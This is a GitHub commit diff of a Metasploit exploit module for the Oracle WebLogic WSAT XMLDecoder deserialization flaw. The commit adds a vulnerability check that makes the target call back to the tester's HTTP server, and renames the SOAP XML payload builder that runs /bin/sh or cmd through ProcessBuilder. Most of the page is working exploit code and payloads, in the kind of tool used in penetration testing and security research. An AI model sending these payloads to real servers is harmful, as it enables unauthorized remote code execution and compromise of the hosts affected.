Skip to content

Commit a28d4a4

Browse files
authored
Add check and update for some style considerations
1 parent 0d9a40d commit a28d4a4

File tree

1 file changed

+110
-30
lines changed

1 file changed

+110
-30
lines changed

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

Lines changed: 110 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,10 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = NormalRanking
7+
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HttpServer
1011

1112
def initialize(info = {})
1213
super(
@@ -17,7 +18,9 @@ def initialize(info = {})
1718
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
1819
remote code execution vulnerability. Supported versions that are affected are
1920
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
20-
of ERPScan and Federico Dotta of Media Service.
21+
of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
22+
HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
23+
and will not be used when executing the exploit itself.
2124
),
2225
'License' => MSF_LICENSE,
2326
'Author' => [
@@ -50,20 +53,33 @@ def initialize(info = {})
5053

5154
register_options([
5255
OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
53-
Opt::RPORT(7001, true, 'The remote port that the WebLogic WSAT endpoint listens on'),
54-
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0])
56+
OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
57+
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
58+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 30])
5559
])
5660
end
5761

5862
def cmd_base
59-
target['Platform'] == 'win' ? 'cmd' : '/bin/sh'
63+
if target['Platform'] == 'win'
64+
return 'cmd'
65+
else
66+
return '/bin/sh'
67+
end
6068
end
6169

6270
def cmd_opt
63-
target['Platform'] == 'win' ? '/c' : '-c'
71+
if target['Platform'] == 'win'
72+
return '/c'
73+
else
74+
return '-c'
75+
end
6476
end
6577

66-
def process_builder_payload
78+
79+
#
80+
# This generates a XML payload that will execute the desired payload on the RHOST
81+
#
82+
def exploit_process_builder_payload
6783
# Generate a payload which will execute on a *nix machine using /bin/sh
6884
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
6985
<soapenv:Header>
@@ -90,36 +106,100 @@ def process_builder_payload
90106
</soapenv:Envelope>}
91107
end
92108

93-
# Not sure how to catch the response, so I'll leave this here in case someone can help
94-
# This payload is used by sending to the RHOST and then you will receive an HTTP request
95-
# back from the target. If you got a request, it's vulnerable. If you didn't, it's not.
96-
# def http_check_payload
97-
# xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
98-
# <soapenv:Header>
99-
# <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
100-
# <java version="1.8" class="java.beans.XMLDecoder">
101-
# <object id="url" class="java.net.URL">
102-
# <string>http://#{datastore['LHOST']}:#{datastore['LPORT']}/#{random_uri}</string>
103-
# </object>
104-
# <object idref="url">
105-
# <void id="stream" method = "openStream" />
106-
# </object>
107-
# </java>
108-
# </work:WorkContext>
109-
# </soapenv:Header>
110-
# <soapenv:Body/>
111-
# </soapenv:Envelope>}
112-
# end
109+
#
110+
# This builds a XML payload that will generate a HTTP GET request to our SRVHOST
111+
# from the target machine.
112+
#
113+
def check_process_builder_payload
114+
return_request_url = "http://#{lookup_actual_host}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
115+
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
116+
<soapenv:Header>
117+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
118+
<java version="1.8" class="java.beans.XMLDecoder">
119+
<object id="url" class="java.net.URL">
120+
<string>#{return_request_url.encode(xml: :text)}</string>
121+
</object>
122+
<object idref="url">
123+
<void id="stream" method = "openStream" />
124+
</object>
125+
</java>
126+
</work:WorkContext>
127+
</soapenv:Header>
128+
<soapenv:Body/>
129+
</soapenv:Envelope>}
130+
end
131+
132+
#
133+
# In the event that a 'check' host responds, we should respond randomly so that we don't clog up
134+
# the logs too much with a no response error or similar.
135+
#
136+
def on_request_uri(cli, request)
137+
random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
138+
send_response(cli, random_content)
139+
140+
@received_request = true
141+
end
142+
143+
#
144+
# Identifies our public IP address so that we can make sure to include it instead of 0.0.0.0
145+
# in our payload.
146+
#
147+
def lookup_actual_host()
148+
# Get the source address
149+
if datastore['SRVHOST'] == '0.0.0.0'
150+
Rex::Socket.source_address('50.50.50.50')
151+
else
152+
datastore['SRVHOST']
153+
end
154+
end
155+
156+
#
157+
# The exploit method connects to the remote service and sends a randomly generated string
158+
# encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
159+
# the response from. This is based off of the exploit technique from
160+
# exploits/windows/novell/netiq_pum_eval.rb
161+
#
162+
def check
163+
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
164+
165+
start_service({'Uri' => {
166+
'Proc' => Proc.new { |cli, req|
167+
on_request_uri(cli, req)
168+
},
169+
'Path' => datastore['URIPATH']
170+
}})
171+
172+
print_status('Sending the check payload...')
173+
res = send_request_cgi({
174+
'method' => 'POST',
175+
'uri' => normalize_uri(target_uri.path),
176+
'data' => check_process_builder_payload,
177+
'ctype' => 'text/xml;charset=UTF-8'
178+
}, datastore['TIMEOUT'])
179+
180+
print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
181+
182+
waited = 0
183+
while (not @received_request)
184+
select(nil, nil, nil, 1)
185+
waited += 1
186+
if (waited > datastore['HTTP_DELAY'])
187+
return Exploit::CheckCode::Safe
188+
end
189+
end
190+
191+
return Exploit::CheckCode::Vulnerable
192+
end
113193

114194
#
115-
# The exploit method connects to the remote service and sends 1024 random bytes
116-
# followed by the fake return address and then the payload.
195+
# The exploit method connects to the remote service and sends the specified payload
196+
# encapsulated within a SOAP XML body.
117197
#
118198
def exploit
119199
send_request_cgi({
120200
'method' => 'POST',
121201
'uri' => normalize_uri(target_uri.path),
122-
'data' => process_builder_payload,
202+
'data' => exploit_process_builder_payload,
123203
'ctype' => 'text/xml;charset=UTF-8'
124204
}, datastore['TIMEOUT'])
125205
end

0 commit comments

Comments
 (0)